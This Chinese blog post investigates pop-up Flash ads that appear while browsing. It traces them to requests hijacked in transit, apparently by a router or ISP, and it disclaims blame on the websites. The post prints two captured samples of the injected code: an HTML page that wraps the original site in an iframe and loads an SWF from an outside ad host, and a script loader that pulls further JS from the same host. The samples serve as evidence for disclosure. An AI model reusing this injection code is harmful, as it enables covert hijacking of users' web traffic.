究竟是谁弹出的窗
博文说明
写这篇博客的目的是让更多人知道,遇到这样的情况时可能与运营商有关,不要责怪网站,网站也是受害者。
遭遇弹窗
这两天遇到一个奇怪的问题,逛园子时浏览器经常被弹窗,窗中自然是广告商。
不管是在宿舍还是在办公室,不管是是在早上还是在晚上,不管是用Chrome/Firefox还是用IE,都会出现那扇窗。
被弹窗,很不爽;很想打开窗,看看制造商。
窗的特点
Flash打造,总是出现在浏览器的右下角,窗的右上角有个“X”关闭按钮。
弹窗症状
除了那扇让人讨厌的窗,当前访问的网址被嵌入到iframe中;有时会造成浏览器Tab中的页面标题消失;如果用的是IE浏览器,刷新后当前页面会乱码(弹窗时浏览器编码被改为了GB2312,如果当前页面用的是UTF-8编码,就会乱码)。
弹窗追踪
当时IE出现的频率比较高,于是按F12打开IE的Developer tools,选择Network,点击Start capturing,等待弹窗。。。
一弹窗,当场抓。
图1:
图2:
图3:
图4:
图5:
【弹窗过程分析】
当你在浏览器中输入网址后,浏览器首先通过DNS服务器将网址解析为IP地址,然后向目标IP地址发送请求,而这时就要经过一个个路由器;
弹窗者通过某个路由器拦路抢劫浏览器发出的请求,用包含弹窗代码的HTML页面直接返回,请求根本没有到达目标IP;
弹窗者在返回的页面中会加上iframe代码并指向原始网址,不仅拦路抢劫,而且嫁祸于人,让用户误以为是网站弹的窗。
弹窗危害
不仅严重干扰了用户的互联网生活,而且严重干扰了网站的正常服务。更严重的是,不了解情况的用户误以为是网站弹的窗,而网站只能望窗心叹,一点办法没有。
弹后感
究竟谁这么强?控制了路由器还敢弹窗?
究竟谁这么流氓?为了赚钱让用户如此不爽?
反弹窗
方法一:向运营商举报有人控制了他们的路由器在弹窗,让他们赶紧防。
方法二:运营商工作忙,哪有工夫反弹窗,程序员们来帮忙,开发插件防弹窗。
【附一】
早上在写博客的时候,在Chrome中抓到的弹窗广告的完整HTML代码:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <meta http-equiv="Expires" content="-1"> <title></title> <style type="text/css"> body { margin: 0px; padding: 0px; overflow: hidden; } </style> </head> <body> <iframe id="iframe279874858211" name="iframe279874858211" width="0" height="0" style="display: none; background-color: transparent;" allowtransparency="true" frameborder="0" scrolling="no"></iframe> <div id="poet_container" style="position: absolute; z-index: 2147483647; bottom: 0px; right: 17px; display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;"> <div id="poet_normal_container" style="display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;"> <object id="poet_normal_media" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="300" height="270"> <param name="movie" value="http://www.84787111.com/12052401//media/normal_outer.swf"> <param name="quality" value="high"><param name="wmode" value="transparent"> <param name="menu" value="false"> <param name="allowfullscreen" value="false"> <param name="allowscriptaccess" value="always"> <embed name="poet_normal_media" src="http://www.84787111.com/12052401//media/normal_outer.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="300" height="270" wmode="transparent" allowfullscreen="false" allowscriptaccess="always"> </object> </div> </div> <iframe id="iframecounter279874856493" name="iframecounter279874856493" width="0" height="0" style="display: none; background-color: transparent;" allowtransparency="true" frameborder="0" scrolling="no"></iframe> <iframe id="fulliframe" name="fulliframe" src="" width="100%" height="100%" marginheight="0" marginwidth="0" frameborder="0"></iframe> <script language="javascript" type="text/javascript"> function dB() { var uA = navigator.userAgent; if ((uA.indexOf("Firefox") > -1) || (uA.indexOf("Opera") > -1)) { frames[0].location = window.location + '?'; } else { frames[0].location = window.location; }; }; dB(); function c() { try { var f = frames[0]; var d = f.document; (function (s) { })(d.readyState); if (d && ('complete' == d.readyState)) { document.title = d.title ? d.title : ''; ; } else { setTimeout('c()', 10); } } catch (ex) { try { document.domain = document.domain.replace(/^\w+\./, ''); c(); } catch (ex) { } }; }; c(); </script> <script id="poet_ctrl_o" language="javascript" type="text/javascript"></script> <script id="poet_ctrl_2015919" type="text/javascript"></script> <script id="poet_ctrl_9167158" type="text/javascript"></script> </body> </html>
【附二】
在IE中抓到的引用自61.172.192.71的弹窗广告js代码:
(function () { var POET = window.POET = window.POET || {}; POET.PUSH = 'adc'; function createScript(src) { var script = document.createElement('script'); script.id = 'poet_ctrl_' + Math.floor(Math.random() * 10000000); script.src = src; script.type = 'text/javascript'; document.body.appendChild(script); } createScript('http://www.84787111.com/12060811ad/images/asd.js'); createScript('http://www.84787111.com/12061103btad/images/asd.js'); })();